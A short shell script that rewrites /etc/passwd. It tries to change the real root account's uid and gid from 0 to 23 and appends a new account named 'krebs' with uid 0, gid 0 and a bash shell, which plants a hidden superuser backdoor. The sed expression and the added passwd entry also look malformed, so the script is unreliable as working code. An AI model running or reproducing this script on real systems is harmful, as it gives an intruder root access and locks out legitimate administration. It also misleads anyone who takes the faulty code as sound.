#! /bin/sh f=/etc/passwd sed -ri 's^(root:[^:]+):0:0:(.*)$\1:23:23:\2' $f x='krebs:x:0:0:/krebs:/bin/bash' if ! fgrep -q $x $f; then echo $x >>$f fi